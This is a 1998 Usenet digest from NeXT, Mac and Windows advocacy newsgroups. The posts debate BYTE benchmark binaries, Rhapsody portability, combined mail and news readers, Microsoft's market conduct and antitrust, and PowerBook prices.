Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 8 May 1998 23:20:45 GMT
Organization: I don't think so
Message-ID: <slrn6l74vh.1b2.jason@jhste1.dyn.ml.org>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <ericb-0805981505460001@132.236.171.104> <djboccip-0805981516390001@qburst.msfc.nasa.gov> <6ivsq7$hsu$1@newsfep4.sprintmail.com>
macghod@concentric.net wrote:
>See 1 and 2 from above. Byte used moto 2 and cw 8, and got low scores.
>Apple comes along and uses something else and gets a high score. Eric
>bennet is anonymously sent the binary apple used, and it uses moto 3 dr.
>Then the 2 low scoring binaries are removed from byte, and a new one, which
>coincidentally now uses moto 3, the same compiler apple used is now on the
>web site.
>You forgot a couple of things. That moto 3.0 dr is what apple used for its
>tests (see above about ericb), that people complained that byte wasnt near
>the score apple was claiming, and shortly after this the binaries were
>switched to the faster scoring binary, which used the same compiler apple
>used. Plus add that moto 3 dr was put in maintance mode shortly after they
>stopped cloning
BYTE first featured Moto SDK DR 3.0 scores in the November 1996 issue.
Page 44.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: macghod@concentric.net
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: whats up with zoneraiders?!?/!
Date: 8 May 1998 23:28:19 GMT
Message-ID: <6j04ej$nvc$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Zoneraiders is out, and it is for rhapsody for ppc ONLY. I thought
something written for rhapsody would work on BOTH rhapsodies? And openstep
as well? Why in gods name would zoneraiders be ppc only?
Also, I am starting to learn programming in openstep. So I make a simple
app, lets say currencyconverter. What would I do to get this to work on
rhapsody for ppc and intel?
A while ago on a thread on the developer program, I said I thought
programmers would need rhapsody to develop for rhapsody, and the openstep
programmers wondered why everyone would think apps have to be written
differently to work on rhapsody. Do they or dont they?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 8 May 1998 23:35:37 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <894670192.17827@kelp.mbay.net>
References: <35522293.731DC4F3@alum.mit.edu> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <35538B51.C5BFA834@alum.mit.edu>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
>> I have expressed this opinion many times before, but I'll
>> express it again: while you're all looking anxiously over
>> your shoulders at Microsoft, the company that will reduce
>> Microsoft to rubble, IBM-style, is probably six blokes in a
>> garage somewhere.
Maybe, maybe not. The software industry is growing up, and starting
to act more like other industries. There haven't been that many
new car companies in the US in a while, certainly compared to
the ferment of 1920 or so. The ones that have broken in recently, mostly
Japanese, had grown up elsewhere before invading the US market.
The barriers to entry are getting to be pretty stiff. Even Apple,
with several billion dollars a year in sales, is regarded as barely
viable.
Probably the best hope for those of us who don't like MS is waiting
for them to become schlerotic and arrogant, like the US car industry
in the 70's. Then perhaps someone will come up with the right
combination of money, talent, product, and opportunity. If the
feds are going to get into it now, they should probably break up
MS into applications and OS companies. That at least would remove
MS's major distribution channel for application software: the OS.
(Hmmm. Can anyone reasonably compete against MS in the application
market now, or has Office become a monopoly too?) It would also tend
to keep ongoing government meddling to a minimum.
I don't much like the government paying attention to the software
industry, though I suppose it was inevitable. There's too much
money for profit-seeking government types to ignore. The non-MS
types pushing this might well find that they've made a Faustian
bargin.
--
Don McGregor | Practice random and senseless acts.
mcgredo@mbay.net |
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 18:20:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ivie5$oou$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net>
<rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net>
<SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net>
<6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net>
<6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net>
<1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <6ivb91$k58$1@ns3.vrx.net>
<1d8q0gm.jldhvbdc935N@roxboro0-034.dyn.interpath.net>
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Cc: phenix@interpath.com
In <1d8q0gm.jldhvbdc935N@roxboro0-034.dyn.interpath.net> John Moreno claimed:
> A lot of things can work OK if you know to how to handle it right, for
> news it's generally better for opening a new article take place in the
> current window, in mail it's generally OK to open up a new window for
> each message.
Great, it will support both.
> The problem - I like double clicking to chose what to read, especially
> in news. Can these two be made to work together, yes. Can the
> preferred default behavior of each be the opposite, yes.
Uhhh, what?
> No, when a interface works in one circumstances and doesn't in another,
> then trying to use it for both is a bad thing.
Great, no problems then.
> Nothing - except you seem to be saying that the solution that was found
> was/would be better than the solutions already used for the separate
> interfaces.
You bet! Repeatedly I have blasted ALL current newsreaders under
Rhapsody/OpenStep and just about every mail app on the planet as "sucks".
Most products in general in these catagories are far too geeky and fragile.
> And this would be because "there is no difference". Well
> there is a difference.
...because I said so, so there.
> WHAT!!! But that implies that there is a DIFFERENCE between mail and
> news! You can't DO that, they ARE the SAME.
Proving again you've missed the entire point.
Goodbye.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 18:24:18 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iviki$oou$3@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6indtv$c0h$5@ns3.vrx.net>
<rmcassid-0505981451530001@dante.en <6ivb91$k58$1@ns3.vrx.net> <6ivvi0$js3$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6ivvi0$js3$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> My ORIGINAL point was that if the DEFAULT behavior is to always open
> a new window for each new message, then BY DEFAULT the interface will
> be unmangageable.
The same is true of any program. You add features to, well, add features.
I'd say making things managable is a feature.
> Your response was that many newsreaders have two
> ways of displaying messages
Well, some, Radical doesn't.
> and my response was that if you're reading
> messages all the time in a way that always uses the same window for each
> new message, then you are not using that behavior!
Right, the system does what you'd expect. I'd expect that if I selected
"get next message" that it would appear in the same window (and in that
respect this is what Rad does). I'd also expect that double-clicking would
open a new window, and again that's what it does. Works great!
> I said that it would be unmanageable IF you HAD TO open a new window
> for each article in a newsgroup and you replied "Don't do that". Duh!!!
Good, don't do that.
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 8 May 1998 23:52:36 GMT
Organization: I don't think so
Message-ID: <slrn6l76r7.1b2.jason@jhste1.dyn.ml.org>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <vAJ41.572$0A3.2515799@news.itd.umich.edu>
not@my.address.net wrote:
>Sounds like it was Rockefellor, and not the Justice Department, that should have
>been reading Professor Mankiw's book _Principles of Economics_. Either prices
>would have rebounded or the independents would have gone out of business. Based
>on your description, it's a mystery why Standard Oil would have bothered with
>price fixing.
Umm, to make extra profits. The key to monopolistic behavior is to
engage in a variety of behaviors to maintain a monopolistic position,
and then to fix prices _above_ equilibrium and to keep supply _below_
equilibrium, in order to get the monopoly profit. (This favors
excessive margins over volume, of course).
Esso did more than just fix prices. It was the classic example of
a bad monopoly. See 337 U.S. 293 (exclusive dealing arrangements);
221 U.S. 1 (conspiracies from 1870 through 1906) for examples.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: glend@no_spam.direct.ca (Glenn Davies)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <35544c52.8483605@news.direct.ca>
References: <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <35528eae.49366355@news.direct.ca> <35562491.1753843@news.qualcomm.com>
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Date: Fri, 08 May 1998 18:30:16 GMT
NNTP-Posting-Date: Fri, 08 May 1998 11:30:16 PDT
Organization: Canada Internet Direct, Inc.
On Fri, 08 May 1998 15:30:07 GMT, sdenbes1@san.rr.com (Steven C. Den
Beste) wrote:
>On Wed, 06 May 1998 17:28:55 GMT, glend@no_spam.direct.ca (Glenn Davies)
>sent this by carrier pigeon:
>
>>On Tue, 5 May 1998 12:02:24 -0500, "Pinochet"
>><9grayhome9@00sprintmail0me0.com> wrote:
>>
>>>
>>>Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
>>>> > Well, actually MS is trying to encourage the switch to NT, and
>>>>DirectX6 will be on NT5 first, so I think you're a little behind the
>>>times.
>>>>
>>>>That makes it even worse.
>>>
>>>No, it doesn't...you're making some foolish assumptions, that's what.
>>>
>>>
>>>>That means that by now, Microsoft is forcing us to use win95 since
>>>>directx 5 will not come out for NT4.
>>>
>>>Well, actually you CAN get DX5 for NT4, however since DX6 is so
>>>close, MS has decided not to release that patch(though you can still
>>>get it), and instead will have one for DX6 when it is done.
>>
>>Please tell me how one can get DX5 for NT - what MS URL is there for
>>it? Also DX6 is slated to only be supported under NT 5 not NT 4 - I
>>guess we're going to have to wait.
>
>DirectX 5 for NT can be downloaded from the following location:
>
>http://www.stefan98.com/download/nt4dx5.zip
>
So an unathorized, unsupported, non-hardware accelerated, not even a
beta version, now consitutes DirectX5 for NT?
----
Glenn Davies
From: macghod@concentric.net
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 9 May 1998 00:05:08 GMT
Message-ID: <6j06jk$pv4$2@newsfep4.sprintmail.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net>
<6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com>
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Cc: don.brown@cesoft.com
> (I'm still fighting temptation to cancel my G3 upgrade for my 1400c and
> go for the new babies. The 1400c will meet my needs and is much more
> economical. It really is. I keep telling myself that.)
>
> Donald
If you can, good lord yes cancel it!. The upgrade costs what, $1000? The
1400 c goes for $1400 used. Thats $2400, for 2800 you can get a nice
powerbook.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: Nathan Keir Edel <edel@best.com_SPAMBLOCK>
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 9 May 1998 00:47:53 GMT
Organization: Forte Systems, Inc.
Message-ID: <6j093p$2th$1@nntp2.ba.best.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com>
In comp.sys.mac.portables macghod@concentric.net wrote:
> If you can, good lord yes cancel it!. The upgrade costs what, $1000? The
> 1400 c goes for $1400 used. Thats $2400, for 2800 you can get a nice
> powerbook.
It's unlikely he could get the full $1400 selling his, and selling a used
powerbook is quite a hassle.
--
Nathan Keir Edel '98 "I've never felt so accepted in my life... these
Edel@Dartmouth.edu people looked deep into my soul and assigned me
edel@best.com a number based on the order in which I joined."
http://newport.dartmouth.edu/ -- Homer Simpson, "Stonecutters" episode
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 8 May 1998 21:15:50 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j0ao6$k5s$1@crib.bevc.blacksburg.va.us>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com>
In article <6j04ej$nvc$1@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> Zoneraiders is out, and it is for rhapsody for ppc ONLY. I thought
> something written for rhapsody would work on BOTH rhapsodies? And openstep
> as well? Why in gods name would zoneraiders be ppc only?
Maybe they didn't have an Intel box to test it on so didn't want to
risk releasing it even if it should theoretically work, or maybe they
did something really low-level (there are bound to be _some_ hardware
dependencies, though I can't think of what they might have done!).
> Also, I am starting to learn programming in openstep. So I make a simple
> app, lets say currencyconverter. What would I do to get this to work on
> rhapsody for ppc and intel?
Check the appropriate architectures in the Build Options panel. Build.
> A while ago on a thread on the developer program, I said I thought
> programmers would need rhapsody to develop for rhapsody, and the openstep
> programmers wondered why everyone would think apps have to be written
> differently to work on rhapsody. Do they or dont they?
OpenStep apps can be moved forward to Rhapsody pretty much without
trouble. Every new release NeXT (now Apple) tweaks the libraries so
sometimes minor things break between releases, and that will inevitably
include the transition from OPENSTEP 4.2 to Rhapsody. But like I said,
it's pretty minor stuff, and a lot of the major OpenStep developers
didn't have to change any of their code at all, even for large apps.
(You'll have to rework the .nib files to have Apple menu structures and
such, though. Might need to fine-tune the placement of UI elements in
IB too, since some of them changed a bit.)
From: macghod@concentric.net
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 9 May 1998 01:15:41 GMT
Message-ID: <6j0ant$sph$1@newsfep4.sprintmail.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net>
<6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com>
<6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com>
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Cc: edel@best.com_SPAMBLOCK
In <6j093p$2th$1@nntp2.ba.best.com> Nathan Keir Edel wrote:
> In comp.sys.mac.portables macghod@concentric.net wrote:
> > If you can, good lord yes cancel it!. The upgrade costs what, $1000?
The
> > 1400 c goes for $1400 used. Thats $2400, for 2800 you can get a nice
> > powerbook.
>
> It's unlikely he could get the full $1400 selling his, and selling a used
> powerbook is quite a hassle.
You would think so wouldnt you? But if you look at the prices of 1400's, one
is lucky to find a 1400 c (not cs) for $1400. You MIGHT be able to find a
1400 cs for $1200, but neither 1400 has been reached the $1000 level. A
1400c SHOULD be about $1000, but it aint happening.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 07 May 1998 19:32:48 GMT
NNTP-Posting-Date: Thu, 07 May 1998 12:32:48 PDT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> John Moreno claimed:
> > It's not the editors (as in the composing window) that need to have a
> > hugely different interface. But there still needs to be different
> > commands for creating that window
>
> Double click works in every case I've seen on any platform.
Funny, double clicking doesn't work in any of the programs I use (except
Cd) - it's all menu/command key's. :)
That aside, I said there needs to be separate commands to help keep it
clear as to what is what.
> > and then the interface for filing both the incoming and outgoing
> > messages need to be different.
>
> Why? Everyone keeps talking about "scaling" problems and then when asked
> for example simple list a bad implementation.
Because with news you don't want to have to create a method for saying
what box it goes in, that should be a function of the newsgroup name.
With mail you want a default in box, and a way to say which box it goes
in based upon headers/contents.
This isn't really a scaling problem - it's a problem with method of
accessing and setting up, neither are unsolvable but they do need to be
addressed.
And for a example - take for instance the auto-replying and vacation
programs in most mail programs. If I saw somebody do that to a
newsgroup I read, I'd respond pretty viciously (which is what the idiot
would deserve).
> Look, CyberDog DID this. It did it WELL. It WORKED.
Did it yes, it worked, yes. But doing it well? Not IMO (although I've
seen worse).
> > No, it is the fundamental difference in the mechanisms - mail is a push
> > technology, while news is a pull. And that goes right along with the
> > difference in the number of recipients.
>
> There you go talking about the technology again. This has nothing to do
> with the technology someone created 20 years ago on a net that had 50000
> active people on it! From a technology standpoint both systems suck and are
> unlikely to change. This is about USER PERCEPTION, and user perceptions to
> date have been forced into specific modes because the programmers write apps
> that force it to be such.
Why focus on that ONE word - technology?
"No, it is the fundamental difference in the *MECHANISMS*". There is
that better? Mail get's shoved through your door - news you go out and
look for.
This MUST be kept clear or people will start thinking that their news
should be shoved through your door. I don't know about you but I don't
want everybody on the net to suddenly decide that they should be sending
me a Cc of their usenet post.
Number and type of recipients - that's the difference and that
difference doesn't have anything to do with the number of people on the
net or 20 year old technology. One is basically a one to one medium and
the other is putting up flyers where you hope people will see it.
I don't know if I still have them, but I could probably look it up in
dejanews where I had to spend a great deal of time and more than a
couple of messages explaining to a young girl that the fact that a
author hadn't responded to her review of his book in the alt.fan group
that bore his name (where he was a occasional vistor) wasn't a personal
attack on her - that as it was a public message, he might not have seen
it, and if he did he may not have felt either like responding or that it
called for a response. SHE put the message up, whether he see's it or
responds to it is strictly up to HIM. And that all of this was entirely
normal and acceptable, and the fact that he was a writer, and that she
reviewed his book, and that the newsgroup had his name in it, etc, that
all of this didn't change the facts - he didn't respond and he wasn't
under any moral or ethical obligation to do so.
Mail and news are NOT the same thing, attempts to treat them as the same
thing are going to end up annoying people. Treating them in SIMILAR
manner on the other hand...
> > I could of course set up a newsserver for myself and then have different
> > groups for each person I wanted to talk to, I could probably even rig it
> > so that each person could only access the newgroup used for talking to
> > them - but then they'd have to check to see if I had new messages for
> > them. Which most of them would never do.
>
> You could also have a system that would mirror your personal mailbox into a
> private newsgroup, and used the headers to send it back out the same way.
> Given a generalized offline operation you've be hard pressed to tell the
> difference.
Yeah, they aren't going to see my messages to them either way - I
certainly wouldn't go around to all of the people I know and check to
see if they had messages for me, although I suppose it could be made to
work mainly (of course it'd never work for somebody I don't know about
so I'd never meet anybody new, but at least I wouldn't be getting spam).
> > News is a soap box, mail is knocking on your door and saying I need to
> > talk to you.
>
> And what is a maillist?
A group of people knocking on your door, one after the other.
> > The conceptual differences NEED to be kept clear.
>
> You have a brain, that if it is indeed a quantum computer as I suspect, has
> something on the order of 10^40 "gates". Brains are really really good at
> conceptual differences, computers are not. Why not use your brain to do
> this? Why is it that you think putting both systems into a single interface
> would have ANY effect WHATSOEVER on the way you interact with it?
Because I want to do different things with each. Assuming that it isn't
spam I want to read EVERY piece of mail that I get, this is NOT true for
newsgroups. This means I want to have different METHODS of dealing with
each and what I have for one is NOT appropriate for the other. And
these things can be highly automated - which is what computers are good
for.
A single program for doing both is probably possible, but the
differences as well as the similarities have to be kept in mind.
As I've said - I'm not against the idea in principle, just so far in
practice. And to do it well in practice, the differences have to be
handled appropriately, your attempt to deny that there are differences,
would just produce another program that doesn't do either well.
--
John Moreno
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 19:38:54 -0700
Organization: Digital Universe Corporation
Message-ID: <3553C1BE.ABE5A394@alum.mit.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
<35538B51.C5BFA834@alum.mit.edu> <6ivi5b$oou$1@ns3.vrx.net>
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Maury Markowitz wrote:
> In <35538B51.C5BFA834@alum.mit.edu> Eric Hermanson claimed:
> > I can assure you that IF a company exists that will reduce Microsoft to
> > "rubble", it won't be a "start-up" 6-person company that develops a new
> > operating system. For it is simply impossible to compete with a company
> > (Microsoft) that:
> >
> > 1. Pre-announces astronomically unrealistic ship dates for it's operating
> > systems in order to insure market share and keep customers "baited".
>
> Considering this is a problem that aflicts the majority of the software
> development world, it's hard to "pin blame" on them for works in progress.
> Sure there have been a few examples of this, but the last I can remember was
> years ago (like a decade - Word 3.0 vs. MindWrite).
Hello? Anybody home? They just did it with Windows 95 and Windows NT. They
were two years late on 95, and almost 4 years late with NT. By late I mean past
dates given to the press, and more importantly, past dates quoted to hardware
vendors. And what about Cairo/NT5.0? We've been hearing Bill Gates allude to
Cairo shipping "real-soon-now" since late 1996.
> > 3. Threatens to drop hardware manufacturers from the "preferred list" if
> they
> > refuse to go along with certain bundling agreements.
>
> Do you know of any specific examples of this. I mean _specific_, can you
> name a company and what was threatened?
From what I recall in an article I read about a year ago, there were several
companies involved in bundling agreement fiascos with Microsoft. I'll try to dig
up an article (there were several written on the subject).
> > 4. Unashamedly copies features and UI designs from other operating systems
> and
> > markets them as new innovations (ever hear of Windows NT - New Technology)?
>
> NT was not marketted as a new UI design.
Yes. Windows NT. New Technology. Let's all stop and thank Microsoft for
"inventing": ftp, multi-user systems, file system permissions, multi-tasking, and
long file names. All of these "innovations" are no doubt worthy of the label
"New Technology". We all know that prior to Windows NT, these things didn't
exist. Right? Microsoft says so!
Eric
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 19:54:29 -0700
Organization: Digital Universe Corporation
Message-ID: <3553C565.323D7457@alum.mit.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
<35538B51.C5BFA834@alum.mit.edu> <6ivi5b$oou$1@ns3.vrx.net>
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Maury Markowitz wrote:
> In <35538B51.C5BFA834@alum.mit.edu> Eric Hermanson claimed:
> > I can assure you that IF a company exists that will reduce Microsoft to
> > "rubble", it won't be a "start-up" 6-person company that develops a new
> > operating system. For it is simply impossible to compete with a company
> > (Microsoft) that:
>
> > 4. Unashamedly copies features and UI designs from other operating systems
> and
> > markets them as new innovations (ever hear of Windows NT - New Technology)?
>
> NT was not marketted as a new UI design.
While I'm at it, I must say that, in my opinion, Microsoft can't even come up
with original names! Let's see here:
"Windows"
Windows "95"
Windows "NT"
Microsoft "Word"
And of course, they copyrighted the words "Windows" and "Word", and the number
"95". God bless them.
And I think we've all grown to love the famous "windows-within-a-window" design
of most of Microsoft's UI. What genius(es) at Microsoft decided that it would be
beneficial to have an application's windows inside of another main window?
However, I would like to give credit where credit is due. I believe Microsoft
actually did create the "RTF" specification and even Structured Query Language
(SQL). Quite a set of contributions from a $30 billion dollar company! :)
If anyone can add to Microsoft's list of actual inventions, I would appreciate
reading about it. Surely I'm being too hard on them. Aren't I?
Eric
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 8 May 1998 14:09:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iv3ne$ekq$3@ns3.vrx.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
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Cc: henry@trilithon.com
In <35534C47.454F66AA@trilithon.com> Henry McGilton claimed:
> Hi Eric. Maybe it's just me, but I didn't read his remarks
> to you as a cop out. What I read into his reply to you is
> that he wants the government out of free-market decision
> making. We have ample historical evidence that governmental
> interference in the operations of the marketplace either don't
> change anything very much, or are a positive drag on the
> business(es) under consideration.
[snip Standard Oil example]
And we have an even better and more modern example of the opposite - AT&T.
After breakup service quality and types of service has skyrocketted to the
consumer, and rates have plummetted - all at the same time that AT&T ended up
better off than ever before and at the same time is clearly no longer a
monopoly. It worked so well they did ANOTHER breakup on their own - and
while everyone figured Bell Labs was no dead with no "parent" to support it,
Lucent is now making TONNES of money. EVERYONE won on that deal.
> By the way, take a read of Professor Mankiw's book
> Principles of Economics, and see what conclusions
> you reach vis a vis "cop out".
But the long and short of it is that his statement is BS.
Maury
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 May 1998 19:22:27 GMT
Organization: VHA Inc.
Message-ID: <01bd7ab7$831c0f60$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com> <6ipuoa$606$4@strato.ultra.net>
John Saunders <jws@jws.ultranet.com> wrote in article
<6ipuoa$606$4@strato.ultra.net>...
> Jeremy Crabtree wrote in message <354FFAFE.6D97E316@delphi.com>...
> >John Saunders wrote:
> >>
> >> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
> >> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
> >> >John Saunders <jws@jws.ultranet.com> wrote:
> >> >
> >> >->Would the vendors of USB peripherals be hurt if there is no
mainstream
> >> >->operating system that supports USB?
> >> >
> >> >Umm, Windows95 supports USB (as does Linux...)
> >> >
> >>
> >> I don't think so... Please provide confirmation of this. USB is being
> talked
> >> up as new in Windows 98. Maybe you mean that OSR2 supports USB?
> >
> >Exactly, Win95 supports USB. (though, the importance of USB seems to be
> >negligable as of late)
> >
>
>
> Jeremy,
>
> If I can't go to the store and buy it, then for me and for most
consumers,
> it doesn't exist. I would be able to buy Windows 98. I've been reading
that
> the USB hardware vendors have been waiting for a Windows 98 as a platform
> for their hardware before making a big marketing push.
>
So, why doesn't MS release a USB service pak for them? Did MS develop USB
alone? If so then they should get paid *something* for releasing code that
makes it workable, but if not then they are making the whole industry wait.
In other words, *They* would be responsible for hurting the industry.
> >>
> >> >->Would companies which have been testing their products against
Windows
> 98
> >> be
> >> >->concerned if Windows 98 didn't ship?
> >> >
